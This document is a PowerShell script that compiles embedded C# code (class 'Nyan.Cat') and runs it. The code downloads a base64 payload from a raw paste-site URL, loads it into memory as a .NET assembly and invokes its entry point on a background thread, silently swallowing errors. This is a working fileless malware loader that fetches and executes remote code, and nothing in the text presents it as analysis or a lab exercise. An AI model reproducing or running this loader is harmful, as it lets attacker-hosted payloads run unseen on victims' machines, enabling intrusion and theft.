$code = @"
using System.Net;
using System.Reflection;
using System;
using System.Threading;
namespace Nyan
{
    public class Cat
    {
        public void Run()
        {
            using (WebClient wc = new WebClient())
            {
                new Thread(() =>
                {
                    try
                    {
                        Assembly assembly = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("https://textbin.net/raw/zniamry9uo")));
                        MethodInfo methodInfo = assembly.EntryPoint;
                        object obj = assembly.CreateInstance(methodInfo.Name);
                        object[] parameters = new object[1];  // C#
                        if (methodInfo.GetParameters().Length == 0)
                        {
                            parameters = null; // VB.NET
                        }
                        methodInfo.Invoke(obj, parameters);
                    }
                    catch { return; }
                })
                { IsBackground = false }.Start();
            }
        }
    }
}
"@

Add-Type -TypeDefinition $code;
$instance = New-Object Nyan.Cat;
$instance.Run();